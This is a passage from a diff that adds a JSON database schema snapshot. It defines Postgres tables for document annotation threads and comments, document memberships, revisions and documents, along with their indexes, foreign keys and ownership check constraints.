+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "to_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_comments": {
+      "name": "document_annotation_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "thread_id": {
+          "name": "thread_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_type": {
+          "name": "author_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_id": {
+          "name": "issue_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_comments_company_thread_created_at_idx": {
+          "name": "document_annotation_comments_company_thread_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "thread_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_issue_created_at_idx": {
+          "name": "document_annotation_comments_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_routine_created_at_idx": {
+          "name": "document_annotation_comments_company_routine_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_case_created_at_idx": {
+          "name": "document_annotation_comments_company_case_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_document_created_at_idx": {
+          "name": "document_annotation_comments_company_document_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_issue_comment_idx": {
+          "name": "document_annotation_comments_issue_comment_idx",
+          "columns": [
+            {
+              "expression": "issue_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_body_search_idx": {
+          "name": "document_annotation_comments_body_search_idx",
+          "columns": [
+            {
+              "expression": "body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_comments_company_id_companies_id_fk": {
+          "name": "document_annotation_comments_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_thread_id_document_annotation_threads_id_fk": {
+          "name": "document_annotation_comments_thread_id_document_annotation_threads_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "document_annotation_threads",
+          "columnsFrom": [
+            "thread_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_issue_id_issues_id_fk": {
+          "name": "document_annotation_comments_issue_id_issues_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_routine_id_routines_id_fk": {
+          "name": "document_annotation_comments_routine_id_routines_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_case_id_cases_id_fk": {
+          "name": "document_annotation_comments_case_id_cases_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_document_id_documents_id_fk": {
+          "name": "document_annotation_comments_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_author_agent_id_agents_id_fk": {
+          "name": "document_annotation_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "document_annotation_comments_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_issue_comment_id_issue_comments_id_fk": {
+          "name": "document_annotation_comments_issue_comment_id_issue_comments_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "issue_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "document_annotation_comments_exactly_one_owner_chk": {
+          "name": "document_annotation_comments_exactly_one_owner_chk",
+          "value": "num_nonnulls(\"document_annotation_comments\".\"issue_id\", \"document_annotation_comments\".\"routine_id\", \"document_annotation_comments\".\"case_id\") = 1"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_threads": {
+      "name": "document_annotation_threads",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "anchor_state": {
+          "name": "anchor_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "original_revision_id": {
+          "name": "original_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "original_revision_number": {
+          "name": "original_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "current_revision_id": {
+          "name": "current_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "current_revision_number": {
+          "name": "current_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "selected_text": {
+          "name": "selected_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "prefix_text": {
+          "name": "prefix_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "suffix_text": {
+          "name": "suffix_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "normalized_start": {
+          "name": "normalized_start",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "normalized_end": {
+          "name": "normalized_end",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "markdown_start": {
+          "name": "markdown_start",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "markdown_end": {
+          "name": "markdown_end",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "anchor_confidence": {
+          "name": "anchor_confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'exact'"
+        },
+        "anchor_selector": {
+          "name": "anchor_selector",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_threads_company_document_status_idx": {
+          "name": "document_annotation_threads_company_document_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_issue_status_idx": {
+          "name": "document_annotation_threads_company_issue_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_routine_status_idx": {
+          "name": "document_annotation_threads_company_routine_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_case_status_idx": {
+          "name": "document_annotation_threads_company_case_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_current_revision_open_idx": {
+          "name": "document_annotation_threads_company_current_revision_open_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "current_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_anchor_state_idx": {
+          "name": "document_annotation_threads_company_anchor_state_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "anchor_state",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_threads_company_id_companies_id_fk": {
+          "name": "document_annotation_threads_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_issue_id_issues_id_fk": {
+          "name": "document_annotation_threads_issue_id_issues_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_routine_id_routines_id_fk": {
+          "name": "document_annotation_threads_routine_id_routines_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_case_id_cases_id_fk": {
+          "name": "document_annotation_threads_case_id_cases_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_document_id_documents_id_fk": {
+          "name": "document_annotation_threads_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_original_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_threads_original_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "original_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_current_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_threads_current_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "current_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_created_by_agent_id_agents_id_fk": {
+          "name": "document_annotation_threads_created_by_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_resolved_by_agent_id_agents_id_fk": {
+          "name": "document_annotation_threads_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "document_annotation_threads_exactly_one_owner_chk": {
+          "name": "document_annotation_threads_exactly_one_owner_chk",
+          "value": "num_nonnulls(\"document_annotation_threads\".\"issue_id\", \"document_annotation_threads\".\"routine_id\", \"document_annotation_threads\".\"case_id\") = 1"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.document_memberships": {
+      "name": "document_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_memberships_company_user_starred_idx": {
+          "name": "document_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_memberships_company_user_document_uq": {
+          "name": "document_memberships_company_user_document_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_memberships_company_id_companies_id_fk": {
+          "name": "document_memberships_company_id_companies_id_fk",
+          "tableFrom": "document_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_memberships_document_id_documents_id_fk": {
+          "name": "document_memberships_document_id_documents_id_fk",
+          "tableFrom": "document_memberships",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_revisions": {
+      "name": "document_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "format": {
+          "name": "format",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown'"
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_revisions_document_revision_uq": {
+          "name": "document_revisions_document_revision_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_revisions_company_document_created_idx": {
+          "name": "document_revisions_company_document_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_revisions_company_id_companies_id_fk": {
+          "name": "document_revisions_company_id_companies_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_revisions_document_id_documents_id_fk": {
+          "name": "document_revisions_document_id_documents_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "document_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_revisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "document_revisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.documents": {
+      "name": "documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "format": {
+          "name": "format",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown'"
+        },
+        "latest_body": {
+          "name": "latest_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "latest_revision_id": {
+          "name": "latest_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_number": {
+          "name": "latest_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_at": {
+          "name": "locked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_by_agent_id": {
+          "name": "locked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_by_user_id": {
+          "name": "locked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "documents_company_updated_idx": {
+          "name": "documents_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "documents_company_created_idx": {
+          "name": "documents_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "documents_title_search_idx": {
+          "name": "documents_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
